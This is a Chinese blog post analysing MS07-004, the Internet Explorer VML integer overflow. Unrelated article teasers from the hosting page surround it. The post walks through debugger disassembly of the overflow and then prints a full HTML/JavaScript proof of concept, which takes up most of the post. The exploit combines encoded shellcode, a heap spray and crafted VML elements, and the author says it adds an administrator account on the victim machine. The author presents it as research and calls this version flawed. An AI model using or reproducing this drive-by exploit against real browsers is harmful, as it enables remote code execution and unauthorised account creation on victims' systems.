MS07-004分析

【k8s】etcd集群took too long to execute慢日志告警问题分析 背景目前 机器学习平台 后端采用k8s架构进行GPU和CPU资源的调度和容器编排。总所周知,k8s的后端核心存储使用etcd进行metadata持久化存储。机器学习平台采取External etcd topology结构进行etcd的HA部署。etcd集群的稳定性直接关系到k8s集群和机器学习平台的稳定性。odin平台直接接入etcd集群的慢日志(etcd请求操作>100ms)告警,实时监控... 阅读详情

by  幻影团长

 万众瞩目的MS07-004终于POC出炉了,之前小弟一直因为eeye的补丁比较工具bindiff在罢工,再加上一些琐事缠身,所以也没好好看这个漏洞。


今天在eong兄和milw0rm上那位公布poc的老兄的基础上,好好跟了下这个漏洞。

以下所有调试过程都是在简体中文版的XP SP2 Pro上进行的。


首先,看写别人比较出来的




因为他是在韩文系统上比较出来的,所以在中文版地址上有些不同,其实关系不大,只需要用OD
搜 imul eax, eax, 2ch

就可以定位到问题了。

在我的系统上是:

Codz:


6FF176A5    5F              POP EDI
6FF176A6    5B              POP EBX
6FF176A7    8B46 08         MOV EAX
,DWORD PTR DS:[ESI+8]
6FF176AA    0346 04         ADD EAX,DWORD PTR DS:[ESI+4]
6FF176AD    85C0            TEST EAX,EAX
6FF176AF    7E 13           JLE SHORT vgx.6FF176C4
6FF176B1    6BC0 2C         IMUL EAX
,EAX,2C                     ;相乘,整数溢出
6FF176B4    68 01010000     PUSH 101
6FF176B9    50              PUSH EAX
6FF176BA    E8 3588FBFF     CALL vgx.6FECFEF4             
; malloc()
6FF176BF    59              POP ECX
6FF176C0    59              POP ECX
6FF176C1    8946 14         MOV DWORD PTR DS
:[ESI+14],EAX
6FF176C4    B0 01           MOV AL
,1
6FF176C6    5E              POP ESI
6FF176C7    5D              POP EBP
6FF176C8    C2 0C00         RETN 0C



这里是因为没有针对eax做检查,导致了整数溢出

相乘后,反而使malloc(eax*2ch)的空间变小了


在后来有一个movs的操作,会把内存一片片的拷到刚才malloc出来的地方。


在这个过程中,会覆盖掉 mshtml.dll中的一个虚函数保存在堆里的指针。


Codz:

call   
[ecx + 10h]



而这里的ecx正好是我们可以控制的。



在这里不得不提以下,漏洞触发的两个关键地方:

第一个:
Codz:

<v:recolorinfo recolorstate="t" numcolors="1" numfills="1073741831">



这里后面的大整数可以是numcolors, 也可以放在numfills ,我这里放在了numfills里,其实都差不多。

Codz:

6FF176A7    8B46 08         MOV EAX
,DWORD PTR DS:[ESI+8]
6FF176AA    0346 04         ADD EAX,DWORD PTR DS:[ESI+4]


因为这两句会把这个大整数传递给EAX,在后面给eax*2ch 用



第二个关键的地方是:
Codz:

<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="13" bitmaptype="13" />



参数或许还有可以精简的地方,我没细改了。

在这里, rgb(a,b,c)
这里的a, b , c 可以直接传递到内存里面去,也会直接传递给后面的ecx

从而我们可以控制 call [ecx + 10h]

在这里,因为rgb只有3个参数,所以,地址的第一个字节只能是0x00


我在这里选择了rgb(90,22,64)

实际上就是 : 0x0040165A
这个地址是在iexplorer.exe里的
注意:不同系统和不同语言的这个地址可能会不同

至于如何通用这里就不提到了,因为这里也跟eong兄讨论过的,不方便发出来。

这个地址加10h

就是 0x0040166A

他指向了 0x0c15xxxx 而这个地址是正好落在我们的heap spray中间的,所以就跳转到了我们的shellcode。


下面是我们的POC, 如果一切正常,会在你的系统你添加一个帐户名为axis的管理员帐户。

另外这个漏洞比上次的ms06-055要好,可以恢复栈平衡,达到不挂ie的效果




Codz:

<!--

MS07-004 VML integer overflow exploit
  by axis
@ph4nt0m.org

-->

<
html xmlns:v="urn:schemas-microsoft-com:vml">

<
head>
<
object id="VMLRender"
classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</
object>
<
style>
v:* { behavior: url(#VMLRender); }
</style>
</
head>

<
body>

<
SCRIPT language="javascript">
shellcode =
unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949%u4949%u4949%u3749%u4949%u4949"+
"%u4949%u5a51%u636a%u3058%u3041%u4150%u416b%u7341%u4142%u4132%u3241%u4142%u4230%u5841"+
"%u4138%u5042%u4d75%u3939%u396c%u4178%u4754%u7770%u4370%u6c30%u674b%u7735%u4c4c%u334b"+
"%u754c%u3155%u5768%u6a71%u4e4f%u426b%u626f%u6c38%u434b%u756f%u5670%u4861%u316b%u6e59"+
"%u306b%u6c34%u534b%u3831%u576e%u4b41%u4e70%u6c79%u6d6c%u5954%u6150%u3464%u4f47%u4b31"+
"%u647a%u454d%u4951%u6a52%u7a4b%u4554%u326b%u7674%u3344%u7234%u7a55%u6c45%u614b%u774f"+
"%u4554%u4851%u426b%u4c46%u764b%u706c%u6e4b%u416b%u554f%u744c%u6a41%u4e4b%u556b%u4e4c"+
"%u356b%u7a51%u4f4b%u3179%u344c%u6564%u4b54%u3573%u6f61%u5030%u4e64%u376b%u5430%u6b70"+
"%u6f35%u4130%u3468%u6c4c%u774b%u3430%u4c4c%u504b%u3770%u4c6c%u6e6d%u506b%u6468%u3848"+
"%u456b%u4e59%u4d6b%u6e50%u6750%u5570%u4550%u6c50%u504b%u3768%u614c%u764f%u6b51%u3546"+
"%u7130%u6f46%u4c79%u6d38%u3953%u4150%u706b%u3050%u6168%u4e6e%u6b38%u7052%u3273%u4d48"+
"%u5948%u6d6e%u565a%u766e%u4b37%u4a4f%u5247%u7243%u314d%u7474%u356e%u7035%u7578%u3735"+
"%u4650%u724f%u3543%u7070%u706e%u3065%u7174%u4330%u5245%u4253%u3045%u3772%u7050%u6461"+
"%u7038%u6269%u3553%u4170%u5177%u3075%u726e%u4149%u3365%u7743%u4650%u334f%u4371%u7374"+
"%u4174%u4530%u5176%u5736%u3250%u334e%u4155%u4764%u6250%u724c%u334f%u5353%u3051%u526c"+
"%u3347%u7042%u336f%u7245%u3150%u4330%u4371%u5054%u336d%u7259%u714e%u3079%u4173%u7164"+
"%u4262%u3241%u7054%u616f%u5062%u6773%u3150%u6471%u3038%u7269%u3553%u7670%u324f%u3161"+
"%u3254%u4564%u6350");


bigblock = unescape("%u0c0c%u0c0c");
headersize = 20;
slackspace = headersize+shellcode.length;
while (
bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(
block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (
i=0;i<350;i++) memory[i] = block + shellcode;

</script>

<v:rect style='width:120pt;height:80pt' fillcolor="red" >
<v:recolorinfo recolorstate="t" numcolors="1" numfills="1073741831">

<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="13" bitmaptype="13" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"  
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v/recolorinfo>
</html>



(注意论坛可能会把代码里的"/"过滤掉)




BTW: 幻影exploit研究院出品,必属精品!



另外给小弟的blog打下广告,因为好象实在是太冷清了: http://blog.donews.com/axis
这个blog有跨站,我也没放任何重要的东西在里面,所以请大家就不要破坏了




我这个exp版本是有缺陷的,所以想直接拿来用的朋友们要失望了,本贴以技术研究为主,谢谢!
高通camx进程ProcessSystemEventMessage类型crash问题分析之二:CamxResultExtCoreChildNodePortFenceTimeOut导致 本文分析了高通camx进程中因CamxResultExtCoreChildNodePortFenceTimeOut导致的ProcessSystemEventMessage类型crash问题。通过日志分析,发现是FDManager节点的QueueDepth不足(当前24个buffer)导致处理超时,触发系统恢复机制后仍超时,最终主动crash。提供了两种解决方案:性能优化或直接增加BufferQueueDepth值,并给出了将FDManager相关节点的BufferQueueDepth从24提升到36 阅读详情

相关推荐

昆仑通态屏幕制作(连载1)---接触篇

写在开始 背景:最近出了做QT、LORA和4G,还做了一个屏幕。以前做了一个迪文的串口屏幕,发现网上的教程很多,所以连载就不更新了,并且迪文屏幕的设置什么的比较简单,应该从网上都能找到对应的教程。而现在用的昆仑通态的屏幕属于嵌入式屏幕,至于为啥叫嵌入式,也不是很明白,反正就是需要用这个屏幕,嵌入式不嵌入式不重要了。重要的是能用,并且能实现串口屏幕不能实现的功能。所以选定昆仑通态的一款屏幕。 文章语言:我比较习惯用比较糙的语言介绍做的东西,有时候不太准备,但是为了方便理解,还请大家谅解。用...

weixin_45426095的博客 6738

MS-07004分析和利用

